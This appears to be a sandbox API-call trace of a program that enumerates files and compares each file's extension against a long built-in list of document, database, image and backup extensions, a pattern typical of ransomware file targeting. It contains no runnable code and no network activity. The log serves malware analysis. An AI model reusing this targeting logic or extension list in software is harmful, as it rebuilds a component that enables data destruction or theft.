[0255.807] lstrcmpiW (lpString1=".accdb", lpString2="ON.GIF") returned -1 [0255.807] lstrlenW (lpString=".accdc") returned 6 [0255.807] lstrcmpiW (lpString1=".accdc", lpString2="ON.GIF") returned -1 [0255.807] lstrlenW (lpString=".accde") returned 6 [0255.807] lstrcmpiW (lpString1=".accde", lpString2="ON.GIF") returned -1 [0255.807] lstrlenW (lpString=".accdt") returned 6 [0255.807] lstrcmpiW (lpString1=".accdt", lpString2="ON.GIF") returned -1 [0255.807] lstrlenW (lpString=".accdw") returned 6 [0255.807] lstrcmpiW (lpString1=".accdw", lpString2="ON.GIF") returned -1 [0255.807] lstrlenW (lpString=".adb") returned 4 [0255.807] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0255.808] lstrlenW (lpString=".adp") returned 4 [0255.808] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0255.808] lstrlenW (lpString=".ai") returned 3 [0255.808] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0255.808] lstrlenW (lpString=".ai3") returned 4 [0255.808] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0255.808] lstrlenW (lpString=".ai4") returned 4 [0255.808] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0255.808] lstrlenW (lpString=".ai5") returned 4 [0255.808] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0255.808] lstrlenW (lpString=".ai6") returned 4 [0255.808] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0255.808] lstrlenW (lpString=".ai7") returned 4 [0255.808] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0255.809] lstrlenW (lpString=".ai8") returned 4 [0255.809] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0255.809] lstrlenW (lpString=".anim") returned 5 [0255.809] lstrcmpiW (lpString1=".anim", lpString2="N.GIF") returned -1 [0255.809] lstrlenW (lpString=".arw") returned 4 [0255.809] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0255.809] lstrlenW (lpString=".as") returned 3 [0255.809] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0255.809] lstrlenW (lpString=".asa") returned 4 [0255.809] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0255.809] lstrlenW (lpString=".asc") returned 4 [0255.809] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0255.809] lstrlenW (lpString=".ascx") returned 5 [0255.809] lstrcmpiW (lpString1=".ascx", lpString2="N.GIF") returned -1 [0255.810] lstrlenW (lpString=".asm") returned 4 [0255.810] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0255.810] lstrlenW (lpString=".asmx") returned 5 [0255.810] lstrcmpiW (lpString1=".asmx", lpString2="N.GIF") returned -1 [0255.810] lstrlenW (lpString=".asp") returned 4 [0255.810] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0255.810] lstrlenW (lpString=".aspx") returned 5 [0255.810] lstrcmpiW (lpString1=".aspx", lpString2="N.GIF") returned -1 [0255.810] lstrlenW (lpString=".asr") returned 4 [0255.810] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0255.810] lstrlenW (lpString=".asx") returned 4 [0255.810] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0255.810] lstrlenW (lpString=".avi") returned 4 [0255.810] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0255.810] lstrlenW (lpString=".avs") returned 4 [0255.811] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0255.811] lstrlenW (lpString=".backup") returned 7 [0255.811] lstrcmpiW (lpString1=".backup", lpString2="TON.GIF") returned -1 [0255.811] lstrlenW (lpString=".bak") returned 4 [0255.811] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0255.811] lstrlenW (lpString=".bay") returned 4 [0255.811] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0255.811] lstrlenW (lpString=".bd") returned 3 [0255.811] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0255.811] lstrlenW (lpString=".bin") returned 4 [0255.811] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0255.811] lstrlenW (lpString=".bmp") returned 4 [0255.811] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0255.811] lstrlenW (lpString=".bz2") returned 4 [0255.812] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.812] lstrlenW (lpString=".c") returned 2 [0255.812] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0255.812] lstrlenW (lpString=".cdr") returned 4 [0255.812] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0255.812] lstrlenW (lpString=".cer") returned 4 [0255.812] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0255.812] lstrlenW (lpString=".cf") returned 3 [0255.812] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0255.812] lstrlenW (lpString=".cfc") returned 4 [0255.812] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0255.812] lstrlenW (lpString=".cfm") returned 4 [0255.812] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0255.813] lstrlenW (lpString=".cfml") returned 5 [0255.813] lstrcmpiW (lpString1=".cfml", lpString2="N.GIF") returned -1 [0255.813] lstrlenW (lpString=".cfu") returned 4 [0255.813] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0255.813] lstrlenW (lpString=".chm") returned 4 [0255.813] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0255.813] lstrlenW (lpString=".cin") returned 4 [0255.813] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0255.813] lstrlenW (lpString=".class") returned 6 [0255.813] lstrcmpiW (lpString1=".class", lpString2="ON.GIF") returned -1 [0255.813] lstrlenW (lpString=".clx") returned 4 [0255.813] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0255.813] lstrlenW (lpString=".config") returned 7 [0255.813] lstrcmpiW (lpString1=".config", lpString2="TON.GIF") returned -1 [0255.814] lstrlenW (lpString=".cpp") returned 4 [0255.814] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0255.814] lstrlenW (lpString=".cr2") returned 4 [0255.814] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0255.814] lstrlenW (lpString=".crt") returned 4 [0255.814] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0255.814] lstrlenW (lpString=".crw") returned 4 [0255.814] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0255.814] lstrlenW (lpString=".cs") returned 3 [0255.814] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0255.814] lstrlenW (lpString=".css") returned 4 [0255.814] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0255.814] lstrlenW (lpString=".csv") returned 4 [0255.814] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0255.814] lstrlenW (lpString=".cub") returned 4 [0255.815] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0255.815] lstrlenW (lpString=".dae") returned 4 [0255.815] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0255.815] lstrlenW (lpString=".dat") returned 4 [0255.815] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0255.815] lstrlenW (lpString=".db") returned 3 [0255.815] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0255.815] lstrlenW (lpString=".dbf") returned 4 [0255.815] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.815] lstrlenW (lpString=".dbx") returned 4 [0255.815] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0255.815] lstrlenW (lpString=".dc3") returned 4 [0255.816] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".dcm") returned 4 [0255.816] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".dcr") returned 4 [0255.816] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".der") returned 4 [0255.816] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".dib") returned 4 [0255.816] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".dic") returned 4 [0255.816] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".dif") returned 4 [0255.816] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0255.816] lstrlenW (lpString=".divx") returned 5 [0255.817] lstrcmpiW (lpString1=".divx", lpString2="N.GIF") returned -1 [0255.817] lstrlenW (lpString=".djvu") returned 5 [0255.817] lstrcmpiW (lpString1=".djvu", lpString2="N.GIF") returned -1 [0255.817] lstrlenW (lpString=".dng") returned 4 [0255.817] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0255.817] lstrlenW (lpString=".doc") returned 4 [0255.817] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.817] lstrlenW (lpString=".docm") returned 5 [0255.817] lstrcmpiW (lpString1=".docm", lpString2="N.GIF") returned -1 [0255.817] lstrlenW (lpString=".docx") returned 5 [0255.817] lstrcmpiW (lpString1=".docx", lpString2="N.GIF") returned -1 [0255.817] lstrlenW (lpString=".dot") returned 4 [0255.817] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0255.817] lstrlenW (lpString=".dotm") returned 5 [0255.817] lstrcmpiW (lpString1=".dotm", lpString2="N.GIF") returned -1 [0255.817] lstrlenW (lpString=".dotx") returned 5 [0255.817] lstrcmpiW (lpString1=".dotx", lpString2="N.GIF") returned -1 [0255.818] lstrlenW (lpString=".dpx") returned 4 [0255.818] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0255.818] lstrlenW (lpString=".dqy") returned 4 [0255.818] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0255.818] lstrlenW (lpString=".dsn") returned 4 [0255.818] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0255.818] lstrlenW (lpString=".dt") returned 3 [0255.818] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0255.818] lstrlenW (lpString=".dtd") returned 4 [0255.818] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0255.819] lstrlenW (lpString=".dwg") returned 4 [0255.819] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0255.819] lstrlenW (lpString=".dwt") returned 4 [0255.819] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0255.819] lstrlenW (lpString=".dx") returned 3 [0255.819] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0255.819] lstrlenW (lpString=".dxf") returned 4 [0255.819] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0255.819] lstrlenW (lpString=".edml") returned 5 [0255.819] lstrcmpiW (lpString1=".edml", lpString2="N.GIF") returned -1 [0255.819] lstrlenW (lpString=".efd") returned 4 [0255.819] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0255.819] lstrlenW (lpString=".elf") returned 4 [0255.819] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0255.819] lstrlenW (lpString=".emf") returned 4 [0255.820] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0255.820] lstrlenW (lpString=".emz") returned 4 [0255.820] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0255.820] lstrlenW (lpString=".epf") returned 4 [0255.820] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0255.820] lstrlenW (lpString=".eps") returned 4 [0255.820] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0255.820] lstrlenW (lpString=".epsf") returned 5 [0255.820] lstrcmpiW (lpString1=".epsf", lpString2="N.GIF") returned -1 [0255.820] lstrlenW (lpString=".epsp") returned 5 [0255.820] lstrcmpiW (lpString1=".epsp", lpString2="N.GIF") returned -1 [0255.820] lstrlenW (lpString=".erf") returned 4 [0255.820] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0255.820] lstrlenW (lpString=".exr") returned 4 [0255.820] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0255.820] lstrlenW (lpString=".f4v") returned 4 [0255.820] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0255.821] lstrlenW (lpString=".fido") returned 5 [0255.821] lstrcmpiW (lpString1=".fido", lpString2="N.GIF") returned -1 [0255.821] lstrlenW (lpString=".flm") returned 4 [0255.821] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0255.821] lstrlenW (lpString=".flv") returned 4 [0255.821] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0255.821] lstrlenW (lpString=".frm") returned 4 [0255.821] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0255.821] lstrlenW (lpString=".fxg") returned 4 [0255.821] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0255.821] lstrlenW (lpString=".geo") returned 4 [0255.821] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0255.821] lstrlenW (lpString=".gif") returned 4 [0255.821] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0255.821] FindNextFileW (in: hFindFile=0x624680, lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0255.822] lstrlenW (lpString="HEADER.GIF") returned 10 [0255.822] lstrlenW (lpString=".1cd") returned 4 [0255.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.822] lstrlenW (lpString=".3ds") returned 4 [0255.822] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0255.822] lstrlenW (lpString=".3fr") returned 4 [0255.822] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0255.822] lstrlenW (lpString=".3g2") returned 4 [0255.822] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0255.822] lstrlenW (lpString=".3gp") returned 4 [0255.822] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0255.823] lstrlenW (lpString=".7z") returned 3 [0255.823] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.823] lstrlenW (lpString=".accda") returned 6 [0255.823] lstrcmpiW (lpString1=".accda", lpString2="ER.GIF") returned -1 [0255.823] lstrlenW (lpString=".accdb") returned 6 [0255.823] lstrcmpiW (lpString1=".accdb", lpString2="ER.GIF") returned -1 [0255.823] lstrlenW (lpString=".accdc") returned 6 [0255.823] lstrcmpiW (lpString1=".accdc", lpString2="ER.GIF") returned -1 [0255.823] lstrlenW (lpString=".accde") returned 6 [0255.823] lstrcmpiW (lpString1=".accde", lpString2="ER.GIF") returned -1 [0255.823] lstrlenW (lpString=".accdt") returned 6 [0255.823] lstrcmpiW (lpString1=".accdt", lpString2="ER.GIF") returned -1 [0255.823] lstrlenW (lpString=".accdw") returned 6 [0255.824] lstrcmpiW (lpString1=".accdw", lpString2="ER.GIF") returned -1 [0255.824] lstrlenW (lpString=".adb") returned 4 [0255.824] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0255.824] lstrlenW (lpString=".adp") returned 4 [0255.824] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0255.824] lstrlenW (lpString=".ai") returned 3 [0255.824] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0255.824] lstrlenW (lpString=".ai3") returned 4 [0255.824] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0255.824] lstrlenW (lpString=".ai4") returned 4 [0255.824] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0255.824] lstrlenW (lpString=".ai5") returned 4 [0255.824] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0255.824] lstrlenW (lpString=".ai6") returned 4 [0255.825] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0255.825] lstrlenW (lpString=".ai7") returned 4 [0255.825] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0255.825] lstrlenW (lpString=".ai8") returned 4 [0255.825] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0255.825] lstrlenW (lpString=".anim") returned 5 [0255.825] lstrcmpiW (lpString1=".anim", lpString2="R.GIF") returned -1 [0255.825] lstrlenW (lpString=".arw") returned 4 [0255.825] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0255.825] lstrlenW (lpString=".as") returned 3 [0255.825] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0255.825] lstrlenW (lpString=".asa") returned 4 [0255.825] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0255.825] lstrlenW (lpString=".asc") returned 4 [0255.825] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0255.826] lstrlenW (lpString=".ascx") returned 5 [0255.826] lstrcmpiW (lpString1=".ascx", lpString2="R.GIF") returned -1 [0255.826] lstrlenW (lpString=".asm") returned 4 [0255.826] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0255.826] lstrlenW (lpString=".asmx") returned 5 [0255.826] lstrcmpiW (lpString1=".asmx", lpString2="R.GIF") returned -1 [0255.826] lstrlenW (lpString=".asp") returned 4 [0255.826] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0255.826] lstrlenW (lpString=".aspx") returned 5 [0255.826] lstrcmpiW (lpString1=".aspx", lpString2="R.GIF") returned -1 [0255.826] lstrlenW (lpString=".asr") returned 4 [0255.826] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0255.826] lstrlenW (lpString=".asx") returned 4 [0255.827] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0255.827] lstrlenW (lpString=".avi") returned 4 [0255.827] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0255.827] lstrlenW (lpString=".avs") returned 4 [0255.827] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0255.827] lstrlenW (lpString=".backup") returned 7 [0255.827] lstrcmpiW (lpString1=".backup", lpString2="DER.GIF") returned -1 [0255.827] lstrlenW (lpString=".bak") returned 4 [0255.827] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0255.827] lstrlenW (lpString=".bay") returned 4 [0255.827] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0255.827] lstrlenW (lpString=".bd") returned 3 [0255.828] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0255.828] lstrlenW (lpString=".bin") returned 4 [0255.828] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0255.828] lstrlenW (lpString=".bmp") returned 4 [0255.828] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0255.828] lstrlenW (lpString=".bz2") returned 4 [0255.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.828] lstrlenW (lpString=".c") returned 2 [0255.828] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0255.828] lstrlenW (lpString=".cdr") returned 4 [0255.828] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0255.828] lstrlenW (lpString=".cer") returned 4 [0255.828] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0255.829] lstrlenW (lpString=".cf") returned 3 [0255.829] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0255.829] lstrlenW (lpString=".cfc") returned 4 [0255.829] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0255.829] lstrlenW (lpString=".cfm") returned 4 [0255.829] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0255.829] lstrlenW (lpString=".cfml") returned 5 [0255.829] lstrcmpiW (lpString1=".cfml", lpString2="R.GIF") returned -1 [0255.829] lstrlenW (lpString=".cfu") returned 4 [0255.829] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0255.829] lstrlenW (lpString=".chm") returned 4 [0255.830] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0255.830] lstrlenW (lpString=".cin") returned 4 [0255.830] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0255.830] lstrlenW (lpString=".class") returned 6 [0255.830] lstrcmpiW (lpString1=".class", lpString2="ER.GIF") returned -1 [0255.830] lstrlenW (lpString=".clx") returned 4 [0255.830] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0255.830] lstrlenW (lpString=".config") returned 7 [0255.830] lstrcmpiW (lpString1=".config", lpString2="DER.GIF") returned -1 [0255.830] lstrlenW (lpString=".cpp") returned 4 [0255.830] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0255.830] lstrlenW (lpString=".cr2") returned 4 [0255.830] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0255.830] lstrlenW (lpString=".crt") returned 4 [0255.831] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0255.831] lstrlenW (lpString=".crw") returned 4 [0255.831] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0255.831] lstrlenW (lpString=".cs") returned 3 [0255.831] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0255.831] lstrlenW (lpString=".css") returned 4 [0255.831] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0255.831] lstrlenW (lpString=".csv") returned 4 [0255.831] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0255.831] lstrlenW (lpString=".cub") returned 4 [0255.831] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0255.831] lstrlenW (lpString=".dae") returned 4 [0255.831] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0255.832] lstrlenW (lpString=".dat") returned 4 [0255.832] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0255.832] lstrlenW (lpString=".db") returned 3 [0255.832] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0255.832] lstrlenW (lpString=".dbf") returned 4 [0255.832] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.832] lstrlenW (lpString=".dbx") returned 4 [0255.832] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0255.832] lstrlenW (lpString=".dc3") returned 4 [0255.832] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0255.832] lstrlenW (lpString=".dcm") returned 4 [0255.832] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0255.832] lstrlenW (lpString=".dcr") returned 4 [0255.833] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0255.833] lstrlenW (lpString=".der") returned 4 [0255.833] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0255.833] lstrlenW (lpString=".dib") returned 4 [0255.833] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0255.833] lstrlenW (lpString=".dic") returned 4 [0255.833] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0255.833] lstrlenW (lpString=".dif") returned 4 [0255.833] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0255.833] lstrlenW (lpString=".divx") returned 5 [0255.833] lstrcmpiW (lpString1=".divx", lpString2="R.GIF") returned -1 [0255.833] lstrlenW (lpString=".djvu") returned 5 [0255.833] lstrcmpiW (lpString1=".djvu", lpString2="R.GIF") returned -1 [0255.833] lstrlenW (lpString=".dng") returned 4 [0255.834] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0255.881] lstrlenW (lpString=".doc") returned 4 [0255.881] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.881] lstrlenW (lpString=".docm") returned 5 [0255.881] lstrcmpiW (lpString1=".docm", lpString2="R.GIF") returned -1 [0255.882] lstrlenW (lpString=".docx") returned 5 [0255.882] lstrcmpiW (lpString1=".docx", lpString2="R.GIF") returned -1 [0255.882] lstrlenW (lpString=".dot") returned 4 [0255.882] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0255.882] lstrlenW (lpString=".dotm") returned 5 [0255.882] lstrcmpiW (lpString1=".dotm", lpString2="R.GIF") returned -1 [0255.882] lstrlenW (lpString=".dotx") returned 5 [0255.882] lstrcmpiW (lpString1=".dotx", lpString2="R.GIF") returned -1 [0255.882] lstrlenW (lpString=".dpx") returned 4 [0255.882] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0255.882] lstrlenW (lpString=".dqy") returned 4 [0255.883] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0255.883] lstrlenW (lpString=".dsn") returned 4 [0255.883] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0255.883] lstrlenW (lpString=".dt") returned 3 [0255.883] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0255.883] lstrlenW (lpString=".dtd") returned 4 [0255.883] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0255.883] lstrlenW (lpString=".dwg") returned 4 [0255.883] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0255.883] lstrlenW (lpString=".dwt") returned 4 [0255.883] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0255.883] lstrlenW (lpString=".dx") returned 3 [0255.884] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0255.884] lstrlenW (lpString=".dxf") returned 4 [0255.884] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0255.884] lstrlenW (lpString=".edml") returned 5 [0255.884] lstrcmpiW (lpString1=".edml", lpString2="R.GIF") returned -1 [0255.884] lstrlenW (lpString=".efd") returned 4 [0255.884] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0255.884] lstrlenW (lpString=".elf") returned 4 [0255.884] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0255.884] lstrlenW (lpString=".emf") returned 4 [0255.884] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0255.884] lstrlenW (lpString=".emz") returned 4 [0255.885] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0255.885] lstrlenW (lpString=".epf") returned 4 [0255.885] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0255.885] lstrlenW (lpString=".eps") returned 4 [0255.885] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0255.885] lstrlenW (lpString=".epsf") returned 5 [0255.885] lstrcmpiW (lpString1=".epsf", lpString2="R.GIF") returned -1 [0255.885] lstrlenW (lpString=".epsp") returned 5 [0255.885] lstrcmpiW (lpString1=".epsp", lpString2="R.GIF") returned -1 [0255.885] lstrlenW (lpString=".erf") returned 4 [0255.885] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0255.885] lstrlenW (lpString=".exr") returned 4 [0255.885] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0255.886] lstrlenW (lpString=".f4v") returned 4 [0255.886] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0255.886] lstrlenW (lpString=".fido") returned 5 [0255.886] lstrcmpiW (lpString1=".fido", lpString2="R.GIF") returned -1 [0255.886] lstrlenW (lpString=".flm") returned 4 [0255.886] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0255.886] lstrlenW (lpString=".flv") returned 4 [0255.886] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0255.886] lstrlenW (lpString=".frm") returned 4 [0255.886] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0255.886] lstrlenW (lpString=".fxg") returned 4 [0255.886] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0255.886] lstrlenW (lpString=".geo") returned 4 [0255.886] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0255.887] lstrlenW (lpString=".gif") returned 4 [0255.887] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0255.887] FindNextFileW (in: hFindFile=0x624680, lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0255.887] lstrlenW (lpString="TAB_OFF.GIF") returned 11 [0255.887] lstrlenW (lpString=".1cd") returned 4 [0255.887] 